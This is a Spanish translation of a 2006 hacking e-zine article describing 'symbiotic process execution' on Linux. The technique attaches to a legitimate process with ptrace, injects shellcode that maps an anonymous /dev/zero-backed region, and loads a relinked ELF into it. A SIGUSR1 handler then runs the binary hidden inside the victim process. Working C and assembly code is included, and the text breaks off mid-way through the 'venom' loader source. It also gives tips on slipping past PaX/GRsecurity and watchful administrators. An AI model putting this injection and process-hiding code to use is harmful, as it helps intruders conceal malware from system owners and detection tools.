-[ BFi - version española ]---------------------------------------------------- BFi es una e-zine escrita por la comunidad italiana de hacking. El codigo fuente y la original versiòn Italiana es disponible a: http://www.s0ftpj.org/bfi/dev/BFi14-dev-03 Versiòn española traducida por kundera , revisión por Nino ------------------------------------------------------------------------------ ============================================================================== ---------------------[ BFi14-dev - file 03 - 21 sep 2006 ]------------------- ============================================================================== ---[ SYMBi0TiC PR0CESS EXECUTi0N ]-------------------------------------------- -----[ sbudella at gmail dot com ]-------------------------------------------- ***** Sumario. - Intro; - Vuelta a Userlandia; - Nosotros dos tienemos que estar cercanos cercanos; - A sys_call to kill for; - El continuum de Aleph1 and local affairs; - Linking subversivo; - A cruel taste of C code - Conclusiones; - Greetings; - Referencias. ***** Intro. Actualmente el concepto de process hiding sobre sistemas Unix ha alcanzado su estado del arte con la implementación de técnicas que proveen, en los casos más fructuosos, el empleo de módulos a kernel space: los famosos lkm. Es práctica es muy común filtrar la salida de programas como ps(1), top(1), etc, y esconder las partes más comprometedoras. Como todos saben no es muy difícil por un sistema de detecting desencovar eventuales anomalías de este género. Una técnica muy eficaz, es aquella ilustrada por Dark-Angel sobre BFi-11[1] que entre otras nos da interesantes ocasiones por reflejar cuidadosamente; en efecto el autor enseña cual sea la condición suficiente, pero no necesaria, por la ejecución de un proceso sobre una máquina unix: el sys_call execve(2). Lo que pasa en el sistema cuando un programa se ejecuta (es conocido a todos, pero querría subrayar el hecho qué utilizando la mayor parte de estas técnicas no podemos prescindir del execve y eso tiene implicaciones importantes): el task_struct del kernel siempre contendrá las informaciones relativas a nuestro proceso, utilizáramos una vez más la técnica de Dark-Angel, el proc filesystem no dudaría en enseñárnosla, haciendo así necesario un oportuno wrapper por el output de ps&co, (en el caso del filtering) o de hooking de las sys_call implicadas y somos de nuevo al punto de salida; además, aunque el hacking a kernel land puede ser muy potente y transparente, siempre existe una remota posibilidad de encarnizarse por la establecidas por el sistema. Para no hablar del hecho que a menudo podemos encontrar situaciones en las cuales no es activo el soporte por los módulos, y tenemos /dev/kmem en sola lectura... pero esta es otra historia. Luego me parece evidente que la limitación más grande a este tipo de problemas sea justo el sys_execve; cuándo antes dije que su empleo resulta ser suficiente pero no necesario me refería al hecho de que podemos elegir otros caminos: este artículo tratará de enseñar un nuevo tipo de aproche al problema que hace sencillamente a menos de el execve por la ejecución de un programa, haciendo más fácil el hiding de los procesos y, cosa de no subvalorar, nos evita ensuciarnos las manos a kerneland. ***** Vuelta a Userlandia. En verdad implementaciones del género ya existen: es suficiente pensar a Userland Exec[2] de the grugq que desarrolla egregiamente el trabajo. La idea es al mismo tiempo genial y simple, en efecto ul_exec no hace otro que emular por su cuenta el comportamiento de un sys_execve que, como se lee en la documentación del autor: - Limpias el espacio de encaminamiento; - Carga el dynamic linker si es necesario; - Carga el binario; - Crea el stack; - Determina el entry point y ejecuta la vía. A este punto pensaréis que es posible conformarse con todo eso, y en efectos me parece verdaderamente una implementación exhaustiva y completa. Pero querría arriesgar, que en un cierto sentido, es más que eso, porque a los ojos de un vago como yo soy, los primeros cuatro puntos son hasta superfluos. Penséis en esto un instante. Todos los programas en ejecución necesariamente han tenido que seguir los 5 puntos de los cuales hemos hablado, por lo tanto sin duda cada proceso en memoria tendrá su espacio de encaminamiento ya limpio, el propio stack y otras cosas más. Entonces mi propuesta consiste en esto: podemos utilizar, cuando lo necesitamos, cuánto ya disponible para los otros procesos legítimos (stack, address space, etc), para nuestros objetivos, o bien al sitio de crear otro espacio de memoria por nuestro proceso podemos momentáneamente utilizar aquel de otro, de una víctima, elegida ad hoc. Y en este caso los dos procesos vivirían por el tiempo necesario en simbiosis, compartiendo el espacio de memoria y sobre todo y repito _sobre todo_ compartiendo el nudo relativo en el task_struct y por consiguiente el entry en el proc filesystem... y todo esto en user space. Pues como enseñaré en seguida, haremos completamente a menos que sys_execve.. o mejor no justo completamente... ***** Nosotros dos tenemos que estar cercanos cercanos. Mi plan provisional es bastante simple: si the grugq re-implementaba la execve de cero, nosotros elegimos un proceso inocuo que habrá pasado ya cada prueba de seguridad y por lo tanto será legítimo, nos pegaremos a ello de modo muy discreto, limpiamos el espacio de encaminamiento y nos introducimos todo el código de nuestro binario a ejecutar. En práctica: - Nos Pegamos a un proceso legítimo; - Limpias su espacio de memoria; - Abres el binario que esconder; - Insertas el código del binario en el espacio de memoria; - Vas al entry point y ejecutas; A pensárnoslo bien el segundo punto es bastante discutible, tenemos en mérito un montón de posibilidades. Pero antes, es necesario un enharinado general concerniente las cosas que nos servirán sucesivamente. A cada proceso en ejecución está asociado un expediente en su entry en /proc de nombre maps; este file otro no es que la lista de todas las regiones de memoria cargadas (mapeadas) y utilizáis del proceso en cuestión, que contiene también los permisos relativos. Como se lee en la página del manual de proc, el tamaño del file maps es éste: address perms offset dev inode pathname 08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm Por cuánto concierne los permisos basta con decir que además de los clásicos rwx aquí se añaden p = privadas y s = shared. Si tenemos r-xp generalmente se trata de uno espacio de memoria ejecutable y por lo tanto no hay el permiso de escritura para evitar de crear problemas. Es necesario además decir que el tamaño de las regiones cargadas en memoria (mapeadas) es siempre un múltiplo de PAGESIZE. Bien, ahora probáis a leer el file maps de un proceso a elección: sbudella@hannibal: ~ $cat / proc/2108/maps 08048000-08058000 r-xp 00000000 03:02 326 /bin/ed 08058000-08059000 rw-p 00010000 03:02 326 /bin/ed 08059000-0805c000 rwxp 00000000 00:00 0 40000000-40014000 r-xp 00000000 03:02 12032 /lib/ld-2.3.2.so 40014000-40015000 rw-p 00013000 03:02 12032 /lib/ld-2.3.2.so 40015000-40017000 rw-p 00000000 00:00 0 40020000-40148000 r-xp 00000000 03:02 12066 /lib/libc-2.3.2.so 40148000-4014c000 rw-p 00128000 03:02 12066 /lib/libc-2.3.2.so 4014c000-4014f000 rw-p 00000000 00:00 0 4014f000-4017b000 r--p 00000000 03:02 64896 /usr/lib/locale/en_US/LC_CTYPE bfffe000-c0000000 rwxp fffff000 00:00 0 Como podéis ver las primeras dos regiones corresponden respectivamente al segmento código y de datos, además se aprecian bien el dynamic linker y las librerías de sistema. Pero un momento: qué son aquellas regiones con compensación, device e inode ¿igual a cero? Se trata de espacio libre alocado por el programa, generalmente, qué podemos utilizar muy bien para nuestros objetivos para insertar el binario que necesitamos esconder. Como veis el espacio no es tampoco exiguo y por lo tanto podríamos desahogarnos. Por mi parte, he elegido de seguir otra calle, ilustrada sucesivamente, quizás un poquito inmediato pero indudablemente más rentable, ya que no siempre el espacio a disposición puede ser suficiente. En todo caso es de obligación tener en consideración esta primera táctica. Luego, como hemos visto, también podemos hacer a menos que limpiar el espacio de memoria de la víctima, que habría comportado un grabarse preventivo de toda aquella área de datos que eventualmente habríamos utilizado. Pero ahora surge espontánea una pregunta: estamos planeando a todos los efectos un loader que emulas las características de base de execve, sin seguir el plan de ul_exec, ¿pero como hacemos a engancharnos a un proceso existente y compartir simbióticamente el suyo espacio de memoria sin trabajar en kernel space? Como espero todo tendrán intuido, nosotros utilizaremos ptrace(2). ***** A sys_call to kill for. Ahora bien, de ptrace ya hemos hablado un poquito [3][4] y con un poco de fantasía se puede hacer cualquier cosa sin descender en los avernos del kernel space. En efecto podemos interceptar llamadas de sistema de un programa, leer de ello el área datos, parar de ello la ejecución y hacerla continuar step by step como pasa con gdb etc.. Pero la cosa más importante es que podemos insertar el código directamente en el flujo de ejecución de un proceso. Vemos enseguida un ejemplo fácil fácil del empleo de ptrace que introduce un concepto útil por quien cree que sea posible solucionar sencillamente nuestro caso, inyectando en el flujo de programa todo el código del binario a esconder... <-| spe/ptrace01.c |-> /*========== == using ptrace example; == sbudella 2006; ==========*/ #include #include #include #include #include #define BSIZE 256 void get_data(pid_t child,long addr,long *str,int len); void put_data(pid_t child,long addr,void *vptr,int len); int dumpme(void (*fptr)); void spaghetti(); char *shellcode; int main(int argc,char *argv[]) { int len = dump_code(spaghetti); pid_t child = atoi(argv[1]); struct user_regs_struct regs; long backup[len]; ptrace(PTRACE_ATTACH,child,NULL,NULL); wait(NULL); ptrace(PTRACE_GETREGS,child,NULL,®s); printf("iniecting shellcode\n"); get_data(child,regs.eip,backup,len); put_data(child,regs.eip,shellcode,len); ptrace(PTRACE_SETREGS,child,NULL,®s); ptrace(PTRACE_CONT,child,NULL,NULL); wait(NULL); printf("restoring execution\n"); put_data(child,regs.eip,backup,len); ptrace(PTRACE_SETREGS,child,NULL,®s); ptrace(PTRACE_DETACH,child,NULL,NULL); return 0; } void get_data(pid_t child,long addr,long *str,int len) { int i = 0; while(i < len) str[i++] = ptrace(PTRACE_PEEKDATA,child,addr + i * 4,NULL); // str[len] = '\0'; } void put_data(pid_t child,long addr,void *vptr,int len) { int i , count; long word; i = count = 0; while (count < len) { memcpy(&word , vptr+count , sizeof(word)); word = ptrace(PTRACE_POKETEXT, child , \ addr+count , word); count +=4; } } int dump_code(void (*fptr)) { int t; char buf[BSIZE],*k; char *s = (char *) fptr; memset(buf,0,BSIZE); k = memccpy(buf,s,0xc3,BSIZE); /* man memccpy; 0xc3 is the opcode for the ret instruction */ t = k - buf - 3; /* 3 is for the stack prelude */ shellcode = (char *)malloc(t); memset(shellcode,0,t); memcpy(shellcode,&buf[3],t); return t; } /* write a string using the old good aleph1's method */ void spaghetti() { __asm__("jmp forw"); __asm__("back: "); __asm__("popl %esi"); __asm__("movl $0x4,%eax"); __asm__("movl $0x2,%ebx"); __asm__("movl %esi,%ecx"); __asm__("movl $9,%edx"); __asm__("int $0x80"); __asm__("xor %eax,%eax"); __asm__("inc %eax"); __asm__("int $0x80"); __asm__("forw: "); __asm__("call back"); __asm__(".string \"HELLO!!!\\n\""); } <-X-> Bien. Como habréis entendido, get_data() y put_data() son las funciones que se ocupan de leer ed inyectar código en el proceso en ejecución. Lo que sucede en el main() es que nos pegamos al proceso con PTRACE_ATTACH, luego preguntamos de leer por PTRACE_GETREGS el estado de los registros del programa; cuándo dais este argumento a ptrace es necesario que paséis también el user_regs_struct: es justo en esta estructura que vendrá memorizado el estado de los registros (en todo caso dais una ojeada a /usr/include/asm/user.h para saber más de ello). La parte crucial es que antes tenemos que hacer una cobertura de las instrucciones siguientes a regs.eip (sì la instruction pointer de la víctima), por luego inyectar el código con put_data, así se restablece la ejecución, una vez acabada aquella del código integrado. Pero un momento... ¿qué hemos inyectado exactamente en la víctima? Hemos inyectado el código de la función spaghetti() que otro no hace qué imprimir una stringa en pantalla. La función de nombre dump_code en efecto se ocupa de llenar el buffer que tenemos que inyectar, a partir de la dirección de memoria de spaghetti, evitando el prólogo y parándose a la aparición de la instrucción ret (su opcode es 0xc3). Una ultima cosa antes de ir adelante: habréis visto ciertamente que el código a inyectar está escrito con la técnica jmp/call de el mito Aleph1: pues no podemos insertar salvajemente cualquier código en el flujo de ejecución (ni en el espacio vacío), a menos de no caer en un acrobático segmentation fault. De otro canto no podemos creer, tampoco, poder reescribir el programa que tenemos que esconder en versión jmp/call style... - pienso que esta idea no le vino en mente ni siquiera al más loco entre los presentes. ;-D ***** El continuum de Aleph1 and local affairs. Las cosas que quedan por hacer a este punto son todavía muchas. Por lo tanto hay que reelaborar un poquito nuestro plan. Hemos dicho que no utilizaremos el espacio vacío de la víctima para esconder el binario; podemos engancharnos a cualquier proceso qué no sea init; podemos inyectar en el flujo de ejecución de la víctima cualquier código coherente con su espacio de encaminamiento, o bien podemos insertar un shellcode codificado con la técnica de Aleph1 o bien PIC (Position Independent Code). Bien. Ahora podemos iniciar a pensar en un sitio dónde posicionar el código del elf binary. Yo no veo otra posibilidad que aquella de crear una nueva región de la dimensión intencional en el espacio de encaminamiento del target y el único modo para hacerlo es usar mmap(2). Luego el shellcode de inyectar en el program flow deberá mmappare el binario en el espacio de memoria de la víctima. Antes de echarnos sobre el código asm, es importante decir algunas palabras sobre las prudencias que tenemos que tomar. Puesto que tenemos que programar en asm recobramos el número de sys_call de mmap que, por quién todavía no lo supiera, iremos a poner en %eax es el 90; en %ebx se encuentra una estructura datos un poquito particular, la mmap_arg_struct. Miramos en los nacientes del kernel y vemos que en arch/i386/kernel/sys_i386.c la encontramos de frente: struct mmap_arg_struct { unsigned long addr; unsigned long len; unsigned long prot; unsigned long flags; unsigned long fd; unsigned long offset; }; Que obviamente tendremos que traducir en asm. Otra notable prudencia, quizás la más importante: el miembro del mmap_arg_struct fd es el file descriptor que es necesario pasar a mmap; ahora si mapeamos directamente el binario lpasando a mmap, el fd después de tenerlo obviamente abierto, todo el mundo se daria cuenta de lo qué está pasando: bastaría en efecto controlar el /proc/pid/maps de la víctima y leer el pathname para entender que allí hay un file en simbiosis. Qué hacer ¿pues? Un vistazo despistado a el man de mmap nos informa que es disponible el argumento MAP_ANON a pasar juntos a los demás en el miembro flags. En éste caso mmap ignoraría el fd y el offset por el mapping y se limitaría a mmappare por nosotros /dev/zero, escribiendo su insospechable pathname en el /proc/pid/maps. Así haciendo tendremos que abrir el binario, leer de ello el código y copiarlo en la dirección devuelta por mmap, después de todo es un mal menor. Bien, por cuánto concierne los otros miembros de estructura: addr debe ser dejado a cero para informar mmap de darnos el primer espacio disponible; lo que leen es la dimensión de la región por alocar; se instancia a rwx. Aquí va un ejemplo: <-| spe/page.asm |-> ;;;;;;;;;; a stupid mmap asm code using the Aleph1 jmp/call method ;;;;;;;;;; nasm -f elf page.asm ;;;;;;;;;; ld -o page page.o ;;;;; sbudella 2006 section .text global _start _start: jmp mmap_arg_struct bw01: pop esi mov eax,0x5a ; sys_mmap mov ebx,esi int 0x80 cmp eax,0 ; MAP_FAILED ? jle END ; endless loop to let the user check /proc/pid/maps LP: jmp LP END: xor eax,eax inc eax int 0x80 mmap_arg_struct: call bw01 args: dd 0 ; addr dd 0x1000 ; len dd 7 ; prot = PROT_READ | PROT_WRITE | PROT_EXEC dd 0x21 ; flags = MAP_SHARED | MAP_ANON dd 0 ; ignored dd 0 ; ignored <-X-> Ahora vemos lo que pasa en el /proc/pid/maps: sbudella@hannibal:~$ ps au | grep page sbudella 1590 96.3 0.0 12 8 pts/1 R+ 18:37 0:10 ./page sbudella 1604 0.0 0.1 1672 580 pts/2 S+ 18:37 0:00 grep page sbudella@hannibal:~$ cat /proc/1590/maps 08048000-08049000 r-xp 00000000 03:02 1325 /home/sbudella/page 40000000-40001000 rwxs 00000000 00:04 1274 /dev/zero (deleted) bffff000-c0000000 rwxp 00000000 00:00 0 Como podéis observar, el código tiene mapeada por nosotros una región de la dimensión deseada completamente limpiada, y el pathname es absolutamente inocuo (/dev/zero). Naturalmente luego tenemos que abrir el binario y copiarlo a partir de la dirección que mmap nos devuelve. Entonces lo nuevo plan prevé: - Pegados a un proceso existente; - Inyecta en su flujo de ejecución el código que alóquela un nueva región usando mmap, con las prudencias vistas en precedencia; - Copia el binario de esconder en la nueva región; - Usa la dirección de la nueva región como %eip; - Salta a lo nuevo %eip y ejecutas el binario. Obviamente los últimos tres puntos todavía quedan por discutir, porque como alguien ya habrá intuido queda un discurso por hacer acerca del linking. Procedamos por grados. Hemos visto que la nueva dirección es de vital importancia para nuestros objetivos, y en efecto aquí tenemos que hacer un pequeño estribillo, (como veis las complicaciones no acaban nunca). En primer lugar, como tendréis manera de notar leyendo el source del programa final, no podemos hacer comunicar el código asm que inyectamos en la víctima con nuestro loader, de modo que casi se hace imposible descubrir cuál sea la dirección devuelta por mmap. Me explico. La función a inyectar, spaghetti(), que se ocupará de hacer el mmapping, no puede comunicar con el main() de nuestro loader, a menos que no hagamos recurso a variables globales, cosa inútil porque spaghetti() tiene que trabajar en el espacio de memoria de la víctima y por lo tanto fracasaría en el encontrar cualquier referencia externa. Como hacer, entonces, para tener notificación ¿de la dirección de mmap? Ningún miedo, aquí nos viene en socorro la ciencia experimental: después de infinitas sesiones de prueba he podido constatar, sin todavía entender de ello el motivo ;-D, que las direcciones devueltas por mmap se reducen a dos tipologías. Si el programa víctima tiene alocado espacio por /usr/lib/locale/* es basura, nuestra dirección, si la región de mmappare es bastante exigua, se encontrará en seguida después del espacio dedicado a cargar /usr/lib/locale/en_US/LC_CTYPE, (aprovecho para decir que las pruebas se han sido hechos sobre Linux 2.4.26 Slackware 10, por lo tanto me gustaría saber si cambia algo sobre los demás sistemas). Si en cambio la víctima no tiene todas aquéllas informaciones (/usr/lib/locale), mappate, nuestro fiel mmap nos devolverá la dirección adyacentemente, a la segunda ocurrencia de espacio vacío, aquel con rw-p como protección. Por otra parte en las hipótesis de que la región por alocar sea muy grande (>= 0x10000 byte), vale la ley del primer caso. ¿Qué quiero decir con ésto? Beh, no podemos comunicar directamente con spaghetti(), pero siempre podemos leer el /proc/pid/maps de la víctima y, en base a nuestras observaciones pseudo-naturalísticas podemos imaginar con certeza casi matemática dónde mmap irá a mmappare nuestra región de memoria. Todo esto discurso sobre el guessing obviamente es válido en el caso en el cual sea accesible en lectura el /proc/pid/maps y en entornos con kernel 2.4.*; en efecto en el 2.6 el layout de memoria cambia y podemos caer en la eventualidad de un mmapping random. En estos casos conviene adoptar la siguiente solución (credits: BFi staff): después de haber inyectado el código en el program flow del target, hacemos una llamada a ptrace con PTRACE_SYSCALL, y sucesivamente conseguimos el número de sys_call ejecutado utilizando PTRACE_PEEKUSER; si corresponde al de mmap, el 90, entonces ejecutamos de nuevo una otra llamada PTRACE_SYSCALL y conseguimos el valor de vuelta de la función o bien la dirección de nuestro interés. Sucesivamente podemos hacer proceder la ejecución de nuestro shellcode con PTRACE_CONT. ***** Linking subversivo. Después de haber solucionado un problema, surge de inmediato otro. Ahora poseemos la dirección a la cual hacer saltar la ejecución del programa víctima después de haberle copiado todo nuestro binario elf. ¿Pero a nadie le vino a la cabeza ladescarada posibilidad de un pornográfico segmentation fault? Diría que las condiciones son las optímales: en efecto, si nosotros hemos copiado nuestro elf en el espacio ahora mismo mapeo, serà suficiente que esto haga referencia a una cualquiera parte de su espacio de encaminamiento para fracasar miserablemente haciendo en cambio referencia al espacio de la víctima. Ejemplo: ... mov eax,dword mess; ponemos en eax la dirección de mess = 0x80490ca ... El programa irá a presentar mess en 0x80490ca, pero en el espacio de la víctima porque sus direcciones ahora son todo desviados, causa el mapeo qué hemos hecho. ¿Qué hacer pues? Beh, antes de rendirse diría qué tenemos aun una posibilidad para tratar de completar nuestros objetivos de supervivencia simbiótica. La solución más simple que me ha llegado a la mente es aquella de un linkaje del binario de esconder de modo que reflejar el nuevo espacio de encaminamiento. Si echáis un pequeño vistazo al entry info de ld, (el linker del proyecto GNU), podéis ver que se trata de una cosa simple. Por quién no lo supiera, el linker ld ofrece la posibilidad de crear script que no hacen otro que conducir el proceso de linking; estos script son escritos con el linker command language y hasta el linkaggio de un programa común recopilado con gcc utiliza de la mejor manera script más o menos complejos. Sin entrar demasiado en el detalle y escribir inútiles reconstrucciones al manual de ld, digo que el objetivo de un script es sencillamente aquel de decir al linker como las individuales secciones de un elf tienen que ser mappate, determinando por lo tanto una particular configuración en memoria. Además cada script està compuesto de una sucesión de mandos, entre los que el más importante es indudablemente SECTIONS. Con este mando decimos al linker que determinadas secciones de un object file tendrán un determinado virtual memory address. Ahora bien me parece sea justo lo que estábamos buscando: utilizaremos la dirección del nuestro nuevo espacio de encaminamiento como el nuevo entry point de el binario y todas las secciones siguientes (.data, .bss), tendrá que ser accodate al .text section. Me parece obvio que el loader tenga que ser capaz de localizar el object file de el binario, así de linkarlo al vuelo. Puesto que no podemos reescribir de cero un script por ld, modificaremos aquel de default a nuestras exigencias. El script en cuestión es conseguible por 'ld--verbose', echamos un vistazo: ... SECTIONS { /* Read-only sections, merged into text segment: */ /* sbudella> 0x08048000 es la dirección de default a la cual el linker asocia la mayor parte de las veces al entry point de este modo: entry_point = 0x08048000 + 0x80; tenemos que hacer sencillamente de modo que nuestro loader, después de haber conseguido la dirección K de la región mmapeada, determinas el nuevo entry point siguiendo este esquema: entry_point = K - 0x80; */ PROVIDE(__executable_start = 0x08048000); . = 0x08048000 + SIZEOF_HEADERS; ... Por el cálculo del entry point, hacemos referencia al específico ELF[5] que al respeto nos dice que el .text segment, cargado en memoria, es precedido por un padding de 0x100 bytes continente el elf header completo, el program header table y otras informaciones; en nuestro caso él sólo lleva 0x80 byte porque estamos considerando elf de exigua constitución, o bien muy pequeños, sin el soporte de libc y por lo tanto con un program header table reducido, siguiendo la operación siguiente en efecto, nos tenemos sino un solo program header. Lo que quiero decir es que en todo caso el valor puede cambiar, hasta con programas recopilados con gcc el entry point puede desviar de muchos byte de la posición de default por lo tanto mano a lo naciente, man readelf y veis un poquito vosotros... Ahora vemos como las individuales secciones son arregladas en el linking de default: ... /* sbudella>como se puede ver, la sección. finos viene accodata a .text..*/ .text : { *(.text .stub .text.* .gnu.linkonce.t.*) /* .gnu.warning sections are handled specially by elf32.em. */ *(.gnu.warning) } =0x90909090 .fini : { KEEP (*(.fini)) } =0x90909090 ... ... /* Adjust the address for the data segment. We want to adjust up to the same address within the page on the next page up. */ /* sbudella> ...mentras el data segment està alineado segun PAGESIZE */ . = ALIGN (0x1000) - ((0x1000 - .) & (0x1000 - 1)); . = DATA_SEGMENT_ALIGN (0x1000, 0x1000); ... Todo eso no queda para nada bien. Como he dicho, tenemos que hacer de modo que el text segment y el .data segment, (y también .bss), resulte acodados, de modo qué podemos leer el binario y copiarlo totalmente en el espacio de memoria sin mappare otra región por el segmento datos. La tarea de desarrollar es de una sencillez desarmante: bastará con sólo añadir un par de rayas en él script de default, como enseña la modalidad siguiente: ... .text : { *(.text .stub .text.* .gnu.linkonce.t.*) *(.gnu.warning) } =0x90909090 /* sbudella> està aqui la modificacion apportada: digamos al linker di accodare todo lo que concerne la .data section alla .text... */ .data : { *(.data) } /* sbudella> ...e la .bss justo despues la .data section. */ .bss : { *(.bss) } .fini : { KEEP (*(.fini)) } =0x90909090 ... Y estamos contentados. No debería haber complicaciones. Todo este trabajo es naturalmente tarea del loader. Una ulterior nota: acerca de las arreglas que utilizan patch de seguridad cuál PaX, bajo la vigilante tutela de GRsecurity, es necesario otro tipo de aproche. Como es sabido, en estas situaciones a las regiones de mappare sólo son asignadas las protecciones, (permissos), necesarias al correcto funcionamiento del proceso, y nada màs: un área por el segmento .text dispondrá por consiguiente sólo de r-x, mientras .data tendrá protección rw-, etc. Es evidente que cuánto dicho sobre ella modificación del script del linker no queda bien en este caso. Sin embargo por nosotros es indispensable que todas las áreas de mmapping tengan, al menos inicialmente, el permiso de escritura activa, ya que incluso debemos siempre copiar el código de el binario. Para rodear este problema podríamos recurrir a mprotect(2): después de haber copiado lo necesario en las regiones ahora mmappate, podemos reconfigurar las protecciones a ellas relativas: mmap ==> .text = rwx <==> mprotect(..., ..., PROT_READ | PROT_EXEC); ahora deberíamos hacer el mmapping de cada individual sección, (al menos .text y .data) y devolver asì separados los segmentos correspondientes. En todo caso haremos modificaciones simples que no deberían costar mucha fatiga al lector: al código da inyectar debe ser añadido unas lineas para hacer un mmap por .data y .text segment respectivamente, y una sola llamada a mprotect por ordenar los permisos de la región del .text segment. El script del linker se debe cambiar sólo modificando la parte relativa el entry point, en cuánto la disposición de default de las elf section, en el caso de Pax, está muy bien para nosotros. Cerrada este paréntesis, y con base en cuanto referido sobre el linking, podemos bosquejar ciertamente un aproche preliminar por nuestra técnica: - Pegados a un proceso existente; - Con el método experimental determinar la dirección a la que vendrá mmappato el nuevo espacio (o bien le recurres a PTRACE_SYSCALL + PTRACE_PEEKUSER); - Consigues el script de default del linker ld, modificas el entry point y haces de modo que .text .data y .bss section resulten adyacentes; - Haces 'on the fly' el linking del object file de el binario vía de esconder; - Inyecta en el flujo de ejecución de la víctima el código por mmappare el nuevo espacio de memoria, abre el binario en cuanto linkato, leyes a partir del elf entry point, copia el código en la región ahora mappata; - Utiliza como nuevo valor de %eip la dirección del nuevo espacio; - Ejecutas el binario. Diría que podemos hacer de mejor. En efecto, haciendo apuntar el instruction pointer a la nueva dirección conseguimos el indeseable efecto de parar el proceso víctima: tendremos que esperar forzadamente (wait(NULL)) que el nuestro binario termine su ejecución para devolver el control al host, y todo esto es un lujo que no podemos concedernos; un sistema sabiamente administrado podría notar este comportamiento anómalo, sobre todo si ella nuestra víctima es un demonio de sistema como crond. Podemos devolver el nuestro trabajo aún más simbiótico implementando una gestión asíncrona del ejecución, respectivamente de target y binario escondido (credits: BFi staff). Sobre nuestro sistema tenemos la posibilidad de definir una acción específica a segunda de determinados señales, utilizando sigaction(2) o signal(2): la elección recae sobre SIGUSR1 o bien, desde el código de injection instalamos un nuevo handler por el señal precisado. Si heciais un bistazo a como trabaja signal(2) podéis notar que por el señal indicado tenemos que dar un indicador a función, o mejor una dirección de memoria, que tendrá que ser en nuestro caso justo aquél devuelto por mmap, además de la dirección de nuestra área mmappata. De éste paso, la víctima seguirá desarrollando su trabajo usual también después de el injection, pero como recibirà el SIGUSR1 se afanará a devolver el controlo a nuestro binario mappato. Una solución verdaderamente elegante, para mi. Naturalmente tendremos que verificarnos preventivamente de no sobraescribir ningún handler ya programados para la víctima, para evitar crear desbarajuste: cada llamada a signal devuelve como valor de vuelta la dirección del handler anteriormente establecido, o bien valor nulo en el caso que el handler sea aquel de default (SIG_DFL); por lo tanto antes de instalar el nuestro nos acertamos con una llamada a signal (con %ecx = 0 para no producir ningunos efecto) que la víctima tenga el handler de default por SIGUSR1. Sucesivamente continuamos a programar nuestra dirección como descrita en precedencia. En la eventualidad en que ya esté allí un no default handler, intentaremos la solución definida antes: hacemos apuntar %eip a la nueva área de memoria. Como veis, hacemos de todo para hacer ejecutar nuestro binario. A este punto diría que hemos llegado ¿Quereis un poquito de código? ***** A cruel taste of C code - Conclusiones. Està aquí el naciente del loader venom. No os esperáis naturalmente nada de eficiente al 100%, pero todo debería funcionar perfectamente: el programa cumple bien su deber, aunque sean necesarias algunas modificaciones para cargar elf binary bastante grandes (naturalmente -static ;-). En efecto, como dije antes, la disposición de las secciones cambia en presencia de òa librería C estándar, y el gcc hace un poquito lo que le parece en materia de linking (la verdad es que soy demasiado perezoso para profundizar ;-D)... El programa acepta desde la raya de mando el pid de la víctima que queremos atacar y eso basta ya para hacer partir el loader en modalidad estándard, o bien conseguimos la dirección de la región mmappata por guessing. Para evitar el guessing e ir seguros pasamos al programa como terceros arg el cordón 'noguess'. Algunas notas: venom buscará el elf que tiene que cargar con el nombre 'inj' bajo el dir /home/sbudella/src/spe/, naturalmente teneis que cambíarla con una treta: debéis insertar de otro modo el path completo porque de otra forma el código di spaghetti, una vez en él espacio de la víctima, buscará' el elf que tiene que leer en el dir en que ha sido lanzada ésta. Y no me preguntáis file de configuración, please... Además he tenido manera de probar el todo el Slackware 10, con ld versión 2.15.90.0.3... por lo tanto si tenéis problemas sabéis que hacer... ;-D en el ínterin hacéis los buenos (Castagna rulez). <-| spe/venom.c |-> /*==================== == symbiotic process execution : venom.c == PTRACE_ATTACH a program, then ask in its == memory space to mmap a given size MAP_ANON == region. Put binary code in this region from == an elf file linked with a runtime generated == ld script. Set a new handler for the signal == SIGUSR1, which makes the just loaded binary == run asynchronously. == == author : sbudella; == contact : sbudella at gmail dot com; == date : 13 aug 2006 - 17 sep 2006; == description : README; == usage: ./venom - run the loader in default mode; == ./venom noguess - run the loader with == disabled guessing mode (safe for 2.6 or if you cannot == read /proc/pid/maps); == == copyright note : == "THE MEZCAL-WARE LICENSE" : == wrote this file. As long as you retain == this notice you can do whatever you want with this stuff. == If we meet some day, and you think this stuff is worth it, == you can buy me a mezcal bottle in return. == sbudella ====================*/ #include #include #include #include #include #include #include #include #include /* increase these two values as the size of the elf grows */ #define ALLOC_SIZE 0x1000 /* this must be a little greater than ALLOC_SIZE, due to the size of spaghetti() */ #define BSIZE 0x1100 #define DELTA_VALUE 0x80 #define SSIZE 512 #define DEFAULT_ENTRY "0x08048000" #define NULL_SPACE_TAG "rw-p 00000000 00:00 0" #define LOCALE_STUFF_TAG01 "/usr/lib/locale" #define LOCALE_STUFF_TAG02 "LC_CTYPE" #define CREATE_RAW_LD_SCRIPT "ld --verbose | head -188 > ld.script.raw" #define RAW_LD_SCRIPT_NM "ld.script.raw" #define FINAL_LD_SCRIPT_NM "ld.script" #define DATA_NOT_ALIGNED_TAG ".data : { *(.data) }\n" #define BSS_NOT_ALIGNED_TAG ".bss : { *(.bss) }\n" #define TEXT_SECTION_TAG01 ".text :" #define TEXT_SECTION_TAG02 "{\n\t*(.text .stub .text.* .gnu.linkonce.t.*)\n" #define TEXT_SECTION_TAG03 "\t*(.gnu.warning)\n } =0x90909090\n" #define LINK_CMD "ld -static -T ld.script -o inj inj.o" #define NO_GUESSING_STR "noguess" void get_data(pid_t pid,long addr,long *str,int len); void put_data(pid_t pid,long addr,void *vptr,int len); int dump_code(void (*fptr)); void check_mmap_address(); void spaghetti(); char *injcode = 0; char *checkcode = 0; int main(int argc,char *argv[]) { int i,len,checklen; pid_t pid; char proc_fn[128],*s,*a,*b,*c; struct user_regs_struct regs,old_regs; long oeax,ebx,mmap_address = 0; FILE *proc_maps,*raw_ld_script,*final_ld_script; char nopsh[] = { 0x90,0x90 }; short fg = 0; if(argc < 2) { printf("mmap address guessing mode:\n"); printf("usage: %s \n",argv[0]); printf("disable guessing mode:\n"); printf("usage: %s %s\n",argv[0],NO_GUESSING_STR); exit(1); } len = dump_code(spaghetti); checklen = dump_code(check_mmap_address); s = (char *)malloc(SSIZE); a = b = c = NULL; pid = atoi(argv[1]); sprintf(proc_fn,"/proc/%d/maps",pid); proc_maps = fopen(proc_fn,"r"); if(!proc_maps) { perror("fopen"); exit(1); } if(argc == 3) if(!strcmp(argv[2],NO_GUESSING_STR)) goto NO_GUESSING; /* if the region to map is greater than 0x10000 mmap will return the address just after LOCALE_STUFF_TAG02 region */ if(ALLOC_SIZE >= 0x10000) while(fgets(s,SSIZE,proc_maps) != NULL) 